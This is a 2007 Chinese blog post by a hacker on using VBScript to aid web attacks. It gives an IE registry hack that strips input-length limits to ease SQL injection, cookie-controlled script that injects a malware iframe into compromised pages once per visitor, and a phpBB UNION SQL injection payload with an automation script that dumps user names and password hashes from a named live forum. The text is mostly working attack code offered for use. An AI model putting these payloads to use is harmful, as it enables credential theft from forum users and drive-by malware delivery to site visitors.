利用VBS輔助***

利用VBS輔助***


2007-11-12 19:44:43
 標籤:VBS 輔助***    [推送到技術圈]

作者:lcx
來源:vbs小鋪

不知大家看了上期我的的文章裏的幾則vbs代碼,有何感想。也許有的高手會不顧一屑,也許有的菜菜會會心一笑,無論如何,這期我還是厚着臉皮繼續來貼 VBS代碼賺稿費來了。利用VBS來寫一個像模像樣的工具是困難了點(其實是我水平不夠),但是用它來輔助***,方便手工則有的時候是恰當好處了,還是來寫三個例子吧。

一、更改注入代碼框的長度
有的注入點是在文本框裏的,像搜索之類的注入。當然,抓包提取出注入點的url然後放在工具裏也是可以的。如果喜歡手工的話,可以直接在文本框裏寫入注入語句提交。但這時候就會有一些問題了,有的文本框限制了你提交內容的長度。很多人這時候的做法是將該注入頁面保存下來,去掉html裏的長度限制,然後本地提交。這樣一來,不僅麻煩,而且有時還會帶來reffer的問題。我們可以寫一段vbs語句,導入註冊表,直接更改頁面上的文本框長度就可以了。
註冊表(擴展.reg)的內容如下:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\擴展]
"contexts"=dword:00000004
@="d:\\len.html"

這個擴展.reg的裏放在d:下的len.html裏的內容是這樣的:

<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=800
ele.size=200
end if
</script>

我們把擴展.reg導入註冊表後,再遇到文本框的限制後,就有辦法對付了,點擊圖1中的擴展後,就有圖2所示的效果了,文本框比原來的長度長了好多呀。

圖1、圖2

二、VBS代碼控制Cookie
如果是溢出型之類的網馬,掛在網上後,客戶端的IE會很卡。如果用cookie控制的話,只讓用戶訪問網馬一次,那效果就不錯了。網上有些智能型的網馬也是這樣做的,不過裏邊的代碼都是js寫的,我提供給大家一個vbscript代碼吧。代碼如下:

<SCRIPT LANGUAGE="VBSCRIPT">
'取得cookie內容函數
function GetCookie(sName)

DIM aCookie, i, aCrumb
GetCookie = ""
aCookie = split(document.cookie, "; ")
FOR i = LBOUND(aCookie) to UBOUND(aCookie)
aCrumb = split(aCookie(i), "=")
if sName = aCrumb(0) then
GetCookie = unescape(aCrumb(1))
EXIT FOR
end if
NEXT
end function

if GetCookie("1") <> "1" then
Document.write("<iframe src=http://www.sohu.com></iframe>")'可改成你的掛馬頁面,這裏的sohu.com只會顯示一次的。
document.cookie = "1" & "=" & escape("1") & "; expires=Tue, 31 Dec 2009 23:59:59 GMT" 'cookie的有效期我們讓它到2009年
end if
</SCRIPT>

不過需要說明一下的是,我看到很多人用智能型網馬的話,都是在原頁面src=http://www/xxx.js這樣調用,就根本起不到智能型網馬的作用了。像我提供的這段代碼,也是同樣需要把所有代碼全部查入被掛馬頁面裏纔可以,如果遠程調用會有跨域的問題的。

三、VBS省去手工操作的麻煩
前不久有一個phpbb的漏洞,注入語句就是●links.php?t=search&search_keywords=asd& start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id =2/*●。我找了個有漏洞的站,抓了個圖3。

圖3

如果將語句改成●links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,10/*●的話就會暴出前10個用戶的名和密碼。要提醒你的是,我發現國外的站多數要將字段加到13,中文或繁體的加到12就可以了。另外,如果裏面的字段值不對的話,原有頁面會有提示的,可以根據提示找到對的字段名。像我們用錯誤的字段數列提交一下,會有圖4的提示:

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT l.*, u.username FROM phpbb_links l, phpbb_users u WHERE link_active = 1 AND l.user_id = u.user_id AND (link_title LIKE '%asd%' OR link_desc LIKE '% asd%') LIMIT 1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12 FROM phpbb_users where user_id=2/*, 10


圖4

從圖4中的提示中很容易看到原有的字段和表名。
我們假如一切默認,需要將些論壇所有的用戶名和密碼都記錄下來,用手工就有點累了,可以寫一個phpbb.vbs腳本,讓它自動保存。代碼如下:

URL=lcase(trim(Wscript.Arguments(0)))&"links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit "& lcase(trim(Wscript.Arguments(1)))&","&lcase(trim(Wscript.Arguments(2)))&"/*"
Set xmlHTTP=createobject("Microsoft.XMLHTTP")
xmlhttp.open "GET", URL, False, False
xmlhttp.send
wscript.sleep 300
If xmlhttp.status=200 Then
set aso=createobject("Adodb.Stream")
aso.open
aso.type=1
aso.write xmlHTTP.responsebody
aso.saveToFile "c:\"&lcase(trim(Wscript.Arguments(2)))&".htm",2
aso.close
End if


運行效果如圖5所示。運行完後,c:下就有一個40.htm文件了,裏邊就會有前40個用戶的名和密碼。圖5中的命令改成cscript phpbb.vbs [url]http://forum.proanamia.com/[/url] 40 80,就會在c:生成80.htm,裏面就會有userid在40-80之間的用戶名和密碼了,是不是很方便呢?

圖5

當然這個phpbb.vbs腳本很粗糙,可以更好的完善,這個工作就交給親愛的讀者了。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章